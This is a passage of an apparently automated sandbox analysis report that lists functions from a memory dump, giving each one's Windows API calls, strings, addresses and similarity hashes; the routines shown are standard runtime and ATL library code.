Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc$Delete
String ID: Advapi32.dll$RegDeleteKeyExW$RegDeleteKeyTransactedW
API String ID: 2668475584-1053001802
Opcode ID: 3903ce84023c96e4069cff7e938fcff88795104957de7ccc2833b30f60b3a333
Instruction ID: 6cd0f4bbc4c545ae6d92ef9ff067a6af47bcdafb9c2b83b2f17e8c60f51b0a3d
Opcode Fuzzy Hash: 3903ce84023c96e4069cff7e938fcff88795104957de7ccc2833b30f60b3a333
Instruction Fuzzy Hash: 3031F572A08A04EFEB11CF89DC04B56BBA4FF45714F10453BFA1597290DB36A411CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED37132, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,6ED37478,6ED6EBA8,?,00000000,?,6ED3204A,?,?,00000000,?,?,C000008C), ref: 6ED37144
LoadLibraryExA.KERNEL32(atlthunk.dll,00000000,00000800,?,?,?,6ED37478,6ED6EBA8,?,00000000,?,6ED3204A,?,?,00000000), ref: 6ED37159
DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,C000008C), ref: 6ED371D5

Strings

AtlThunk_InitData, xrefs: 6ED37181
AtlThunk_FreeData, xrefs: 6ED371AF
AtlThunk_AllocateData, xrefs: 6ED3716A
AtlThunk_DataToCode, xrefs: 6ED37198
atlthunk.dll, xrefs: 6ED37154

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: DecodePointer$LibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 1423960858-1745123996
Opcode ID: bf02e2f5d0b93a4efad2a297888a605db7ade39f6029ed73c8eb65492364b37a
Instruction ID: 8d2291da85c9f2bfb205e9e62542b55bb07b566565a921bd73ed8c4194c42a01
Opcode Fuzzy Hash: bf02e2f5d0b93a4efad2a297888a605db7ade39f6029ed73c8eb65492364b37a
Instruction Fuzzy Hash: DE01AD32C02E30FBEE015BD98C11FAB3B598F13289F201051BC457A7D6D626C71D8AA5

Uniqueness

Uniqueness Score: -1.00%

Function 6ED53837, Relevance: 13.7, APIs: 9, Instructions: 201COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED538A5
_free.LIBCMT ref: 6ED538B1
_free.LIBCMT ref: 6ED539DA
_free.LIBCMT ref: 6ED539E5

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ee59ac3382e6c10c468435266756bb8f15582734e0540458bc3f416baf134770
Instruction ID: 95cafea4ec9f53ce904a9d42805c91b33adf2c7f97daef26bf3c515877318858
Opcode Fuzzy Hash: ee59ac3382e6c10c468435266756bb8f15582734e0540458bc3f416baf134770
Instruction Fuzzy Hash: 7861C172904705EFDB50CFA9C884B9ABBF8EF55354F104969E955EB388EB30D9018FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED36D5F, Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 6ED36DA8
__alloca_probe_16.LIBCMT ref: 6ED36DD4
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 6ED36E13
LCMapStringEx.KERNEL32 ref: 6ED36E30
LCMapStringEx.KERNEL32 ref: 6ED36E6F
__alloca_probe_16.LIBCMT ref: 6ED36E8C
LCMapStringEx.KERNEL32 ref: 6ED36ECE
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6ED36EF1

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 8909d88ee64fb5f9a3d392a1aaefefa8d2ac3a2b65235987a44f188903e9c812
Instruction ID: ac02584a2eb2412f89516781cdaa90cc17e3db1550e5b4ae9bf4bd58dddb260b
Opcode Fuzzy Hash: 8909d88ee64fb5f9a3d392a1aaefefa8d2ac3a2b65235987a44f188903e9c812
Instruction Fuzzy Hash: FE518072520226EFEF10CFA4CC54FAF3BA9EF42754F214429F934AA190DB74C8558BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3723E, Relevance: 12.1, APIs: 8, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,6ED373E8,00000000), ref: 6ED37262
HeapAlloc.KERNEL32(00000000), ref: 6ED37269

Part of subcall function 6ED37334: IsProcessorFeaturePresent.KERNEL32(0000000C,6ED37250,00000000,?,6ED373E8,00000000), ref: 6ED37336

InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,6ED373E8,00000000), ref: 6ED37279
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 6ED372A0
RaiseException.KERNEL32(C0000017,00000000,00000000,00000000), ref: 6ED372B4
InterlockedPopEntrySList.KERNEL32(00000000), ref: 6ED372C7
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6ED372DA

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocEntryHeapInterlockedListVirtual$ExceptionFeatureFreePresentProcessProcessorRaise
String ID:
API String ID: 2460949444-0
Opcode ID: 8a331a8d191fc269689baaf9d05f381ebabb1145042f1eabf16924bacd9d7781
Instruction ID: b83d5d1def77dfe5dfb038e7fa439fa53bacc66ce698f332e24d4f2bedc1dd5f
Opcode Fuzzy Hash: 8a331a8d191fc269689baaf9d05f381ebabb1145042f1eabf16924bacd9d7781
Instruction Fuzzy Hash: D5119075650E32FFFA620BF98D48F6B676DAB47785F250420FD55E61C0DA60CC0286B0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4A54F, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

_free.LIBCMT ref: 6ED4A85C
_free.LIBCMT ref: 6ED4A875
_free.LIBCMT ref: 6ED4A8B5
_free.LIBCMT ref: 6ED4A8BE
_free.LIBCMT ref: 6ED4A8CA

Strings

C, xrefs: 6ED4A6AB

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: a78c3599c7ca7638c88734277c663403bd16847bb26fa637caa62854d44b8ea8
Instruction ID: be693e8968e0bd307b36cb6f00df16c047a8bb0a07508d70c46a699bba697d50
Opcode Fuzzy Hash: a78c3599c7ca7638c88734277c663403bd16847bb26fa637caa62854d44b8ea8
Instruction Fuzzy Hash: 74B15875A0162ADFDB24DF58C884A9DB7B4FF58304F1045AAE849A7390E730AE90CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2FE30, Relevance: 10.8, APIs: 7, Instructions: 263COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6ED6F328,3EF319B9), ref: 6ED2FE8D
GetModuleFileNameW.KERNEL32(?,00000104), ref: 6ED2FF10
LoadTypeLib.OLEAUT32(?,00000000), ref: 6ED2FF37
LoadRegTypeLib.OLEAUT32(6ED664B8,00000000,00000000,?,00000000), ref: 6ED2FF52
EnterCriticalSection.KERNEL32(6ED6F344), ref: 6ED30115
LeaveCriticalSection.KERNEL32(6ED6F344), ref: 6ED3012B

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLoadType$FileLeaveModuleName
String ID:
API String ID: 1976781235-0
Opcode ID: e275ff4d415c4070d5e1ab61386cafbab845333d41b9ffcab8272ae86f3793ca
Instruction ID: eec151d5660e00ca9994856158ba4061a8a3f2b914f7bdaaaeeb78b70a952429
Opcode Fuzzy Hash: e275ff4d415c4070d5e1ab61386cafbab845333d41b9ffcab8272ae86f3793ca
Instruction Fuzzy Hash: 36B19D74905629EFEB50CFA4C858BAAB7B5AF4A304F2044D9E808EB381D735DE45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2DCB0, Relevance: 10.7, APIs: 7, Instructions: 163libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000060), ref: 6ED2DD3D
LoadLibraryExW.KERNEL32(?,00000000,00000002), ref: 6ED2DD4F
FindResourceW.KERNEL32(00000000,?,?), ref: 6ED2DD76
LoadResource.KERNEL32(00000000,00000000), ref: 6ED2DD8E

Part of subcall function 6ED2D340: GetLastError.KERNEL32(80070057,8007000E,80004005), ref: 6ED2D340

FreeLibrary.KERNEL32(00000000,00000000,?), ref: 6ED2DE7F

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$Resource$ErrorFindFreeLast
String ID:
API String ID: 328770362-0
Opcode ID: ac1c19dd31bdb2946a146e9c35ccd841dac150fd7a0a9802c6581bb230409552
Instruction ID: c313eb8ce0705910811f68f0e601ce7ee6a3dd9f3f1e2256a22617d5d320dc0f
Opcode Fuzzy Hash: ac1c19dd31bdb2946a146e9c35ccd841dac150fd7a0a9802c6581bb230409552
Instruction Fuzzy Hash: 4E51C3B1A00619DFDB21CF94CC40B9EB7B9EF99718F504179F708A7280DB349A458F69

Uniqueness

Uniqueness Score: -1.00%

Function 6ED38230, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6ED38267
___except_validate_context_record.LIBVCRUNTIME ref: 6ED3826F
_ValidateLocalCookies.LIBCMT ref: 6ED382F8
__IsNonwritableInCurrentImage.LIBCMT ref: 6ED38323
_ValidateLocalCookies.LIBCMT ref: 6ED38378

Strings

csm, xrefs: 6ED3830D

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 08014449d8533409975df51d7f7c6c5d18a9b775ff11b155dcf5b529a95997c7
Instruction ID: cd6a5cc785ab3198e30e06c2df1d590fda40f734a765e2bab90ad8dd59937af4
Opcode Fuzzy Hash: 08014449d8533409975df51d7f7c6c5d18a9b775ff11b155dcf5b529a95997c7
Instruction Fuzzy Hash: F7418338A00669EFCF10DFA9C850ADEBBB5AF46318F208555E814DB3D1D731DA15CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED37520, Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,6ED2ABAD,6ED2ABAC,00000000,00000000,00000000,00000000,3EF319B9,00000000,?,00000000,6ED2ABAD,?,?), ref: 6ED37593
WideCharToMultiByte.KERNEL32(00000000,00000000,6ED2ABAD,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 6ED375CA

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 293770aa875001ebd7288a9e0f29d4917efd1ab81726de45ac15efacb3fc00c3
Instruction ID: 652755715b008f169c2f07c352142996aab36e061e8b363663988d66dbb6ee3c
Opcode Fuzzy Hash: 293770aa875001ebd7288a9e0f29d4917efd1ab81726de45ac15efacb3fc00c3
Instruction Fuzzy Hash: 71312C72A04A15FBE714CBA48C05FAB77ACEB46B10F304629F905DB2C0D736E501C6B4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED322B0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,00000024,00000000), ref: 6ED32340
GetWindowLongW.USER32(?,000000FC), ref: 6ED32354
CallWindowProcW.USER32(?,?,00000082,00000024,00000000), ref: 6ED3236A
GetWindowLongW.USER32(?,000000FC), ref: 6ED32383
SetWindowLongW.USER32 ref: 6ED32392

Strings

$, xrefs: 6ED322F4

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Long$CallProc
String ID: $
API String ID: 513923721-3993045852
Opcode ID: e851b197254dc21669990f7673a212cbf61b068c27b4ee2b3e9973e74740b6e3
Instruction ID: 06e70dbd7790d2e13f779cb6ba8f3dd8a4cee5108ddbfe47e0f01fde576fc32b
Opcode Fuzzy Hash: e851b197254dc21669990f7673a212cbf61b068c27b4ee2b3e9973e74740b6e3
Instruction Fuzzy Hash: B8411871900618EFDB10CF99C984A9EFBF5FF49314F208A1DE596A76A0D731A914CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2D510, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,3EF319B9), ref: 6ED2D564
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6ED2D57B
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,00000000,3EF319B9), ref: 6ED2D5B0
RegCloseKey.ADVAPI32(00000000), ref: 6ED2D5C3

Strings

Advapi32.dll, xrefs: 6ED2D55F
RegOpenKeyTransactedW, xrefs: 6ED2D575

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: 452d38bd2e391d262b7a094d891701ed8b6cd0e9493d6fb03c56258072991b93
Instruction ID: ccc5d2efeb8dcfb0e8a983a565fa1e2971933d93a1724ca258f22dd09ce370d9
Opcode Fuzzy Hash: 452d38bd2e391d262b7a094d891701ed8b6cd0e9493d6fb03c56258072991b93
Instruction Fuzzy Hash: 25316171A04616EFEB00CFA9CC54BABBBB9EF4A718F104529F9159B284D775D900CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED27BD0, Relevance: 10.6, APIs: 7, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000), ref: 6ED27BEE
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6ED27BFC
MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000), ref: 6ED27C11
SysFreeString.OLEAUT32(00000000), ref: 6ED27C1C
VarBstrCmp.OLEAUT32(?,00000000,00000400,00000000), ref: 6ED27C3B
SysFreeString.OLEAUT32(00000000), ref: 6ED27C48
SysFreeString.OLEAUT32 ref: 6ED27C72

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$ByteCharMultiWide$AllocBstr
String ID:
API String ID: 1801994256-0
Opcode ID: 11ee3452025eb2a18fe9a1029557679a9689f19185b44a8b6ff61c436a58314d
Instruction ID: 95b5b55c8bef01a15a646a5fdc4ed6af220ec45b9be399372c219505e9c67dde
Opcode Fuzzy Hash: 11ee3452025eb2a18fe9a1029557679a9689f19185b44a8b6ff61c436a58314d
Instruction Fuzzy Hash: 63112B31644636FFFB2107B98C09F5A7B68EB47B28F200264FB18BA2C0D6639D05D5B4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4CB41, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 6ED4CB98
ext-ms-, xrefs: 6ED4CBAC

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 4d84ba73f8a2f3f4ce3d8ca79f17632e667afec37b0888b4857ad4c5296d1072
Instruction ID: 647ec2b45ab1a32790c14a5a099e866cce24026af669e2a4bfe78c8b203c51d0
Opcode Fuzzy Hash: 4d84ba73f8a2f3f4ce3d8ca79f17632e667afec37b0888b4857ad4c5296d1072
Instruction Fuzzy Hash: 6A21D572A45625EFFB518BE98C90A4A77689B22760F310615FC59AF380D630D809C9E0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED53CFE, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6ED53A48: _free.LIBCMT ref: 6ED53A6D

_free.LIBCMT ref: 6ED53D4C

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED53D57
_free.LIBCMT ref: 6ED53D62
_free.LIBCMT ref: 6ED53DB6
_free.LIBCMT ref: 6ED53DC1
_free.LIBCMT ref: 6ED53DCC
_free.LIBCMT ref: 6ED53DD7

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 626a4af83b5a11caf917ef27dbac739c1afc9d2b6aaeb70603d007920aac55e6
Instruction ID: 1ccfd9ad73f28edbc14c947c8fa2cbf905252879832d7daa6ceeb190ceb8600d
Opcode Fuzzy Hash: 626a4af83b5a11caf917ef27dbac739c1afc9d2b6aaeb70603d007920aac55e6
Instruction Fuzzy Hash: 29118671980B04FADE21ABF0DC49FCB779CAF40B08F404C29B29966294DB76F51557B0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4E483, Relevance: 9.3, APIs: 6, Instructions: 319fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000001,00000000), ref: 6ED4E4CB
__fassign.LIBCMT ref: 6ED4E6AA
__fassign.LIBCMT ref: 6ED4E6C7
WriteFile.KERNEL32(?,6ED4685B,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6ED4E70F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6ED4E74F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6ED4E7FB

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: cc5998345df5e0e48ab850dc754d9379ef7675b8cd2fb2455f6eef47ed6d7e1f
Instruction ID: 4103c3fc4f70a7e300031cf8a932461826e3c48ba677b3a329b3918dcad121d1
Opcode Fuzzy Hash: cc5998345df5e0e48ab850dc754d9379ef7675b8cd2fb2455f6eef47ed6d7e1f
Instruction Fuzzy Hash: 21D19975D00259EFDF11CFE8C8809EDBBB5AF59314F24056AE855BB242E730AA46CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED30A60, Relevance: 9.2, APIs: 6, Instructions: 198threadCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 6ED30B0E

Part of subcall function 6ED323E0: EnterCriticalSection.KERNEL32(6ED6DA58), ref: 6ED32414
Part of subcall function 6ED323E0: GetClassInfoExW.USER32 ref: 6ED32449
Part of subcall function 6ED323E0: GetClassInfoExW.USER32 ref: 6ED3245C
Part of subcall function 6ED323E0: LeaveCriticalSection.KERNEL32(6ED6DA58), ref: 6ED32467

Part of subcall function 6ED373A0: GetProcessHeap.KERNEL32(00000008,00000008,00000000,6ED3226B), ref: 6ED373A5
Part of subcall function 6ED373A0: HeapAlloc.KERNEL32(00000000), ref: 6ED373AC

SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?,?,?,?,6ED58FD0,000000FF), ref: 6ED30B57
GetCurrentThreadId.KERNEL32 ref: 6ED30BFC
EnterCriticalSection.KERNEL32(6ED6DA58), ref: 6ED30C0A
LeaveCriticalSection.KERNEL32(6ED6DA58), ref: 6ED30C23
CreateWindowExW.USER32 ref: 6ED30C59

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$ClassEnterHeapInfoLeave$AllocClientCreateCurrentErrorLastProcessRectThreadWindow
String ID:
API String ID: 859899439-0
Opcode ID: 2a46554f16d04d205faa25861a2311742a6f67b1dc640f637f3c79fbe8405e88
Instruction ID: 7ba6217260c894445ee8a2e9b0a606429d6a80cf0b16b14880f52ecbd157f1b1
Opcode Fuzzy Hash: 2a46554f16d04d205faa25861a2311742a6f67b1dc640f637f3c79fbe8405e88
Instruction Fuzzy Hash: 4B617D71E10619EFDB14DFA8D894BAEBBB5FF49714F244619F815AB340E731A800CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2DF40, Relevance: 9.1, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,00000000,00000000,?,C000008C,00000001), ref: 6ED2DF7E
CharNextW.USER32(00000000,?,00000000,00000000), ref: 6ED2DFAB
CharNextW.USER32(74ECEEF0,?,00000000,00000000), ref: 6ED2DFC4
CharNextW.USER32(74ECEEF0,?,00000000,00000000), ref: 6ED2DFCF
CharNextW.USER32(00000001,?,00000000,00000000), ref: 6ED2E03E

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: f053a4414c4385040a4f4936b0fdde07236af3745a6665458d73213aeda9e992
Instruction ID: 3b6246a108734e8667bc385cc02556be87154ba3fa5c6c2baa78ca41ca5c433f
Opcode Fuzzy Hash: f053a4414c4385040a4f4936b0fdde07236af3745a6665458d73213aeda9e992
Instruction Fuzzy Hash: 8441C235604116CFDB01DFB9C680669B7F2FF99314B54447AEA44CB348EB359983CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED24850, Relevance: 9.1, APIs: 6, Instructions: 123COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6ED24899
std::_Lockit::_Lockit.LIBCPMT ref: 6ED248BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED248DB
__Getctype.LIBCPMT ref: 6ED24971
std::_Facet_Register.LIBCPMT ref: 6ED24990
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED249A8

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

